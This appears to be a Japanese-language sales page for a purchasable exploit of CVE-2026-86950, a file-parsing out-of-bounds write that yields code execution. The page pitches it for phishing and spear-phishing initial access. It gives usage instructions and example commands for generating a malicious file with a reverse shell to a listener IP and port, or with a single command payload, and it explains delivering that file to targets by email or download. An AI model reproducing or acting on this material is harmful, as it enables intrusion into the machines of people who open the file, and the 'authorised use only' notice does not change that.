CVE-2026-86950 / EUVD-2026-88445 - ファイル処理における境界外書き込みによるRCE

説明

CVE-2026-86950 (CWE-787)。
細工されたファイルの解析中に発生する境界外書き込み。サイズ/オフセットフィールドに対する境界チェックの欠如により、対象アプリケーションがそのファイルを処理する際に制御されたヒープ破壊が可能となる。

未認証の攻撃者がファイルを配信する（メール、ダウンロード、共有）。ユーザーの操作が必要（開く/処理する）。コードは解析アプリケーションの権限で実行される。

レッドチームのフィッシング/スピアフィッシングキャンペーン、エンドポイントへの初期アクセス、ネットワーク認証を必要としない制御されたコード実行に有用。

エクスプロイト

ダウンロード

要件

• Python 3.10+
• 脆弱なファイル形式を処理する対象アプリケーション（一般的なドキュメント/画像ビューア）
• 攻撃者側に特別な権限は不要

機能

• OOB書き込みを引き起こす単一の悪意あるファイルを生成
• 任意のコード実行につながる制御されたヒープ破壊
• ペイロードオプション: リバースシェル、コマンド実行、インメモリローダー
• 最小限のフットプリント – 追加のドロッパー不要
• 標準的なファイル配信（メール添付、ブラウザダウンロード、ネットワーク共有）で動作

インストール

購入後、完全なパッケージアーカイブを受け取ります。
展開して依存関係をインストールします:

pip install -r requirements.txt

使用方法

python exploit.py [options]
  -o, --output       <file>          悪意あるファイルを出力 (必須)
  -p, --payload      <type>          reverse | cmd | custom (デフォルト: reverse)
  -L, --lhost        <ip>            リスナーIP (reverse用)
  -P, --lport        <port>          リスナーポート (reverse用)
  -c, --cmd          <command>       実行する単一コマンド
  --arch             x64|x86         対象アーキテクチャ (デフォルト: x64)

例 (リバースシェル):

python exploit.py -o evil.file -p reverse -L 192.168.1.50 -P 4444

例 (ワンショットコマンド):

python exploit.py -o evil.file -p cmd -c "whoami > C:\\temp\\out.txt"

生成されたファイルを対象に配信します。脆弱なアプリケーションで開かれる/処理されると、OOB書き込みがトリガーされ、ペイロードが実行されます。

ライセンス

許可されたレッドチーム/ペネトレーションテストでの使用に限ります。不正使用は違法です。
完全なパッケージは購入後のみ入手可能です。